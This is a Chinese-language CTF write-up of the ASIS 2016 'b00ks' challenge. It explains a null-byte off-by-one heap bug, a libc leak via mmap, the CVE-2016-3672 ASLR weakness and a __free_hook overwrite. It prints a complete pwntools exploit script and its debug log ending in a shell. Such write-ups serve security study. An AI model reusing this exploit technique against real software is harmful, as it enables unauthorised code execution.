b00ks - null byte off-by-one 实战详解

heap null byte off-by-one

分析环境:

  • Linux parrot 4.17.0-parrot17-amd64 #1 SMP Parrot 4.17.17-1parrot17 (2018-08-27) x86_64 GNU/Linux
  • pwntools:3.12.1
  • gdb + gef, IDA
  • libc:2.27

checksec:

1
2
3
4
5
6
7
8
$checksec ./b00ks
Arch: amd64-64-little
Canary No
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Fortify No

保护全开,ret2plt,覆写 got table 就不要想了

定位漏洞点

问题出在 book name read() 控制上,也就是 offset+0x9f5 这个函数上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
signed __int64 __fastcall sub_9F5(_BYTE *a1, int a2){
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]

if ( a2 <= 0 )
return 0LL;
buf = a1;
for ( i = 0; ; ++i ){
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == 10 )
break;
++buf;
if ( i == a2 )
break;
}
*buf = 0;
return 0LL;
}

a2 是输入的 author name size - 1;a1 是 malloc(a2+1) 返回的指针.

从这段 for 循环中可以看出,实际可以 read() a2+1 次,那么 ‘\x00’ 自然也会被写入到内存中了。这是一种很典型的栅栏错误。

author name 位于 bss 段,其后是一个 book struct 指针表

通过 4 选项,可以知道 book detail:

1
2
3
4
5
6
struct book{
int id;
char *name;
char *description;
int size;
};

分析过程

在以下地方下断比较好分析:

  • b *0x555555554af1,获取功能号前
  • b *0x123b,0x555555554240,选项前一行
  • b *0x9f5,0x0x55555555549f5,读取字符串函数

关键点:如果要堆分配的内存很大的话,那么会使用 mmap 来重新申请内存空间,并且这块区域邻近 bss 段。offset == mmap ret addr - libc base addr,那么就可以推算出 libc base addr。

关于这个点,我一直很疑惑,通过实际代码在不同的 Linux 发行版上测试,大部分情况下这个偏移是固定,但在 wsl debian 这个偏移就不固定了。

linux mmap ASLR 失效漏洞

这里介绍一个 Linux mmap ASLR 失效的漏洞,CVE-2016-3672。

影响范围:Linux kernel <= 4.5.2

验证方法:

  • 设置栈空间为不限制大小ulimit -s unlimited
  • 使用ldd看动态库加载的地址是否发生变化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
$ uname -r
2.6.32-642.el6.i686

$ cat /proc/sys/kernel/randomize_va_space
2

$ ulimit -a
core file size (blocks, -c) 0
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 7864
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 10240
cpu time (seconds, -t) unlimited
max user processes (-u) 7864
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited

$ ldd ./mmap_libc_base_addr32
linux-gate.so.1 => (0x00b05000)
libc.so.6 => /lib/libc.so.6 (0x00296000)
/lib/ld-linux.so.2 (0x00a51000)

$ ldd ./mmap_libc_base_addr32
linux-gate.so.1 => (0x009ba000)
libc.so.6 => /lib/libc.so.6 (0x00505000)
/lib/ld-linux.so.2 (0x00a51000)

$ ulimit -s unlimited
$ ldd ./mmap_libc_base_addr32
linux-gate.so.1 => (0x40000000)
libc.so.6 => /lib/libc.so.6 (0x40015000)
/lib/ld-linux.so.2 (0x00a51000)

$ ldd ./mmap_libc_base_addr32
linux-gate.so.1 => (0x40000000)
libc.so.6 => /lib/libc.so.6 (0x40015000)
/lib/ld-linux.so.2 (0x00a51000)

利用思路

  1. 泄露 book1 结构体堆指针地址。具体步骤

    1. author name 输入 32 个字符
    2. 选择 1.create book1
    3. 选择 4.print book1 struct,”Author: “ field 可泄露出 book1 结构体堆指针

      为什么可以泄露 book1 结构体指针呢,这是因为32个字符连着地址,没有结束符 “\x00”

  2. 计算得到要伪造的 fake book addr及偏移量
  3. 创建 book2 with 0x21000 的 book2 desc 和 “/bin/sh” 的 book2 name
  4. 构造 fake book1。编辑 book1 ,实际就是对 book1 desc 写入数据,,fake book1 name 存储着 *book2 desc addr
  5. leak mmap 分配的内存地址。print fake book,泄露 book2 desc addr,由此推算出 libc base addr ,然后再计算出 system addr , /bin/sh , __free_hook 的地址
  6. 覆写 free hook。分两步,先修改 fake book desc 存储的指针为 free book 的地址;然后修改 book2 desc ,改写 __free_hook 存储的地址为 system 地址
  7. 执行 shell。delete book2, free book2 name 的时候执行的就是 system(book2 name)

内存管理器 Hook 机制

在 Linux 下,内存管理器一般通过 HOOK 来实现自定义的malloc函数,具体就是通过覆盖 hook 函数指针来实现。glibc 提供四个全局函数 hook 指针

1
2
3
4
__malloc_hook
__realloc_hook
__free_hook
__memalign_hook

所以像 jemalloc 或者 tcmalloc 等堆管理器通过覆盖这些 hook 函数指针使程序调用到它们自定义的malloc。当然在漏洞利用的时候也常被用来覆写为 system() 等地址。

所以在这里,既然不可以覆写 got 表,那么就覆写 __free_hook 函数地址。

脚本及 getshell

以下脚本在 ASLR == 0 或 1 时可 getshell,在开启 ASLR == 2 时一定几率可 getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
#-* encoding:utf-8 *-

from pwn import *

def create_book(target, name_size, book_name, desc_size, book_desc):
target.recvuntil("> ")
target.sendline('1')
target.sendlineafter('Enter book name size: ', str(name_size))
target.sendlineafter('Enter book name (Max 32 chars): ', book_name)
target.sendlineafter('Enter book description size: ', str(desc_size))
target.sendlineafter('Enter book description: ', book_desc)

def change_author(p):
p.recvuntil("> ")
p.sendline("5")
p.recvuntil("Enter author name: ")
p.sendline("a"*32)

def leak_book1(target):
target.recvuntil("> ")
target.sendline("4")
target.recvuntil("Author: ")
author_msg = target.recvline()
msg = author_msg.split("A" * 32)[1]
msg = msg.split("\n")[0]
context.bits = len(msg) * 8
addr = unpack(msg)
log.success("Leaked address of book1 struct object : " + hex(addr))
# context.bits = 64
# log.info(addr)
return addr

def edit_book(p,bookid,book_desc):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("Enter the book id you want to edit: ")
p.sendline(str(bookid))
p.recvuntil("Enter new book description: ")
p.sendline(book_desc)



def leak_mmap(p):
log.info("[+] Leak mmap-libc offset")
log.info(p.recvuntil("> "))
p.sendline("4")
p.recvuntil("Name: ")
mmap_addr = u64(p.recv(6).ljust(8,'\x00'))
# p.recvuntil("Exit")
print "[+]mmap_addr:",hex(mmap_addr)
return mmap_addr

p = process("./b00ks")
mmap_offset = 0x1ca010
# mmap_offset = 0x1eb000
g_offset = 0x202040
libc = ELF("./libc-2.27.so")
# libc = ELF("./libc-2.24.so")

if __name__ == "__main__":
# 1.leak book1 heap addr
p.recvuntil("Enter author name: ")
p.sendline("A" * 0x20)
create_book(p, 20, "book1", 220, "book1 des")
# 2.find fake1 addr and offset
book1_addr = leak_book1(p)
fake_addr = book1_addr - ord(p64(book1_addr)[0])
padding_size = 0x110 - ord(p64(book1_addr)[0]) - 0x20
print "[+] fake_addr:",hex(fake_addr)
print "[+] padding size:",hex(padding_size)
# 3.create book2 with 0x21000 book description
create_book(p,20,"/bin/sh\x00",0x21000,"book2 des")

# 4.fake book1
book2_addr = book1_addr + 0x30 + 0x20
payload1 = "0"*padding_size + p64(1) + p64(book2_addr + 0x10) + p64(book2_addr + 0x10) + pack(0xffff)
edit_book(p,1,payload1)
change_author(p)

# 5.leak mmap addr
mmap_addr = leak_mmap(p)
libc_base = mmap_addr - mmap_offset
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search("/bin/sh\x00"))
free_hook = libc_base + libc.symbols["__free_hook"]
print "system addr:",hex(system_addr)
print "binsh addr:",hex(binsh_addr)
print "__free_hook:",hex(free_hook)

# 6.overwrite __free_hook
payload2 = p64(free_hook)
payload3 = p64(system_addr)
print "[+]overwrite free hook"
print proc.pidof(p)[0]
edit_book(p,1,payload2)
sleep(3)
# gdb.attach(p)
edit_book(p,2,payload3)

# 7.exec shell
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Enter the book id you want to delete: ")
p.sendline("2")
p.interactive()




$python ./b00ks_pwn.py DEBUG
[+] Starting local process './b00ks': pid 5215
[DEBUG] PLT 0x22050 realloc
[DEBUG] PLT 0x22090 __tls_get_addr
[DEBUG] PLT 0x220d0 memalign
[DEBUG] PLT 0x220e0 _dl_exception_create
[DEBUG] PLT 0x22120 __tunable_get_val
[DEBUG] PLT 0x221d0 _dl_find_dso_for_object
[DEBUG] PLT 0x22210 calloc
[DEBUG] PLT 0x222f0 malloc
[DEBUG] PLT 0x222f8 free
[*] '/media/sf_workplace/CTF/asis2016/b00ks/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[DEBUG] Received 0x33 bytes:
'Welcome to ASISCTF book library\n'
'Enter author name: '
[DEBUG] Sent 0x21 bytes:
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[DEBUG] Received 0x6f bytes:
'\n'
'1. Create a book\n'
'2. Delete a book\n'
'3. Edit a book\n'
'4. Print book detail\n'
'5. Change current author name\n'
'6. Exit\n'
'> '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x17 bytes:
'\n'
'Enter book name size: '
[DEBUG] Sent 0x3 bytes:
'20\n'
[DEBUG] Received 0x20 bytes:
'Enter book name (Max 32 chars): '
[DEBUG] Sent 0x6 bytes:
'book1\n'
[DEBUG] Received 0x1e bytes:
'\n'
'Enter book description size: '
[DEBUG] Sent 0x4 bytes:
'220\n'
[DEBUG] Received 0x18 bytes:
'Enter book description: '
[DEBUG] Sent 0xa bytes:
'book1 des\n'
[DEBUG] Received 0x6f bytes:
'\n'
'1. Create a book\n'
'2. Delete a book\n'
'3. Edit a book\n'
'4. Print book detail\n'
'5. Change current author name\n'
'6. Exit\n'
'> '
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Received 0xc7 bytes:
00000000 49 44 3a 20 31 0a 4e 61 6d 65 3a 20 62 6f 6f 6b |ID: |1·Na|me: |book|
00000010 31 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 62 |1·De|scri|ptio|n: b|
00000020 6f 6f 6b 31 20 64 65 73 0a 41 75 74 68 6f 72 3a |ook1| des|·Aut|hor:|
00000030 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAA|AAAA|AAAA|AAAA|
00000040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAAA|AAAA|
00000050 41 80 83 75 55 55 55 0a 0a 31 2e 20 43 72 65 61 |A··u|UUU·|·1. |Crea|
00000060 74 65 20 61 20 62 6f 6f 6b 0a 32 2e 20 44 65 6c |te a| boo|k·2.| Del|
00000070 65 74 65 20 61 20 62 6f 6f 6b 0a 33 2e 20 45 64 |ete |a bo|ok·3|. Ed|
00000080 69 74 20 61 20 62 6f 6f 6b 0a 34 2e 20 50 72 69 |it a| boo|k·4.| Pri|
00000090 6e 74 20 62 6f 6f 6b 20 64 65 74 61 69 6c 0a 35 |nt b|ook |deta|il·5|
000000a0 2e 20 43 68 61 6e 67 65 20 63 75 72 72 65 6e 74 |. Ch|ange| cur|rent|
000000b0 20 61 75 74 68 6f 72 20 6e 61 6d 65 0a 36 2e 20 | aut|hor |name|·6. |
000000c0 45 78 69 74 0a 3e 20 |Exit|·> |
000000c7
[+] Leaked address of book1 struct object : 0x555555758380
[+] fake_addr: 0x555555758300
[+] padding size: 0x70
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x17 bytes:
'\n'
'Enter book name size: '
[DEBUG] Sent 0x3 bytes:
'20\n'
[DEBUG] Received 0x20 bytes:
'Enter book name (Max 32 chars): '
[DEBUG] Sent 0x9 bytes:
00000000 2f 62 69 6e 2f 73 68 00 0a |/bin|/sh·|·|
00000009
[DEBUG] Received 0x1e bytes:
'\n'
'Enter book description size: '
[DEBUG] Sent 0x7 bytes:
'135168\n'
[DEBUG] Received 0x18 bytes:
'Enter book description: '
[DEBUG] Sent 0xa bytes:
'book2 des\n'
[DEBUG] Received 0x6f bytes:
'\n'
'1. Create a book\n'
'2. Delete a book\n'
'3. Edit a book\n'
'4. Print book detail\n'
'5. Change current author name\n'
'6. Exit\n'
'> '
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0x24 bytes:
'Enter the book id you want to edit: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x1c bytes:
'Enter new book description: '
[DEBUG] Sent 0x8f bytes:
00000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000|0000|0000|0000|
*
00000070 01 00 00 00 00 00 00 00 e0 83 75 55 55 55 00 00 |····|····|··uU|UU··|
00000080 e0 83 75 55 55 55 00 00 ff ff 00 00 00 00 0a |··uU|UU··|····|···|
0000008f
[DEBUG] Received 0x6f bytes:
'\n'
'1. Create a book\n'
'2. Delete a book\n'
'3. Edit a book\n'
'4. Print book detail\n'
'5. Change current author name\n'
'6. Exit\n'
'> '
[DEBUG] Sent 0x2 bytes:
'5\n'
[DEBUG] Received 0x13 bytes:
'Enter author name: '
[DEBUG] Sent 0x21 bytes:
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
[*] [+] Leak mmap-libc offset
[DEBUG] Received 0x6f bytes:
'\n'
'1. Create a book\n'
'2. Delete a book\n'
'3. Edit a book\n'
'4. Print book detail\n'
'5. Change current author name\n'
'6. Exit\n'
'> '
[*]
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
>
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Received 0x113 bytes:
00000000 49 44 3a 20 31 0a 4e 61 6d 65 3a 20 10 e0 fa f7 |ID: |1·Na|me: |····|
00000010 ff 7f 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 |···D|escr|ipti|on: |
00000020 10 e0 fa f7 ff 7f 0a 41 75 74 68 6f 72 3a 20 61 |····|···A|utho|r: a|
00000030 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaa|aaaa|aaaa|aaaa|
00000040 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 0a |aaaa|aaaa|aaaa|aaa·|
00000050 49 44 3a 20 32 0a 4e 61 6d 65 3a 20 2f 62 69 6e |ID: |2·Na|me: |/bin|
00000060 2f 73 68 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a |/sh·|Desc|ript|ion:|
00000070 20 62 6f 6f 6b 32 20 64 65 73 0a 41 75 74 68 6f | boo|k2 d|es·A|utho|
00000080 72 3a 20 61 61 61 61 61 61 61 61 61 61 61 61 61 |r: a|aaaa|aaaa|aaaa|
00000090 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaa|aaaa|aaaa|aaaa|
000000a0 61 61 61 0a 0a 31 2e 20 43 72 65 61 74 65 20 61 |aaa·|·1. |Crea|te a|
000000b0 20 62 6f 6f 6b 0a 32 2e 20 44 65 6c 65 74 65 20 | boo|k·2.| Del|ete |
000000c0 61 20 62 6f 6f 6b 0a 33 2e 20 45 64 69 74 20 61 |a bo|ok·3|. Ed|it a|
000000d0 20 62 6f 6f 6b 0a 34 2e 20 50 72 69 6e 74 20 62 | boo|k·4.| Pri|nt b|
000000e0 6f 6f 6b 20 64 65 74 61 69 6c 0a 35 2e 20 43 68 |ook |deta|il·5|. Ch|
000000f0 61 6e 67 65 20 63 75 72 72 65 6e 74 20 61 75 74 |ange| cur|rent| aut|
00000100 68 6f 72 20 6e 61 6d 65 0a 36 2e 20 45 78 69 74 |hor |name|·6. |Exit|
00000110 0a 3e 20 |·> |
00000113
[+]mmap_addr: 0x7ffff7fae010
system addr: 0x7ffff7e275d0
binsh addr: 0x7ffff7f63573
__free_hook: 0x7ffff7f9d8e8
[+]overwrite free hook
5215
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0x24 bytes:
'Enter the book id you want to edit: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x1c bytes:
'Enter new book description: '
[DEBUG] Sent 0x9 bytes:
00000000 e8 d8 f9 f7 ff 7f 00 00 0a |····|····|·|
00000009
[DEBUG] Received 0x6f bytes:
'\n'
'1. Create a book\n'
'2. Delete a book\n'
'3. Edit a book\n'
'4. Print book detail\n'
'5. Change current author name\n'
'6. Exit\n'
'> '
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0x24 bytes:
'Enter the book id you want to edit: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x1c bytes:
'Enter new book description: '
[DEBUG] Sent 0x9 bytes:
00000000 d0 75 e2 f7 ff 7f 00 00 0a |·u··|····|·|
00000009
[DEBUG] Received 0x6f bytes:
'\n'
'1. Create a book\n'
'2. Delete a book\n'
'3. Edit a book\n'
'4. Print book detail\n'
'5. Change current author name\n'
'6. Exit\n'
'> '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x26 bytes:
'Enter the book id you want to delete: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x5 bytes:
'asan\n'
asan

Reference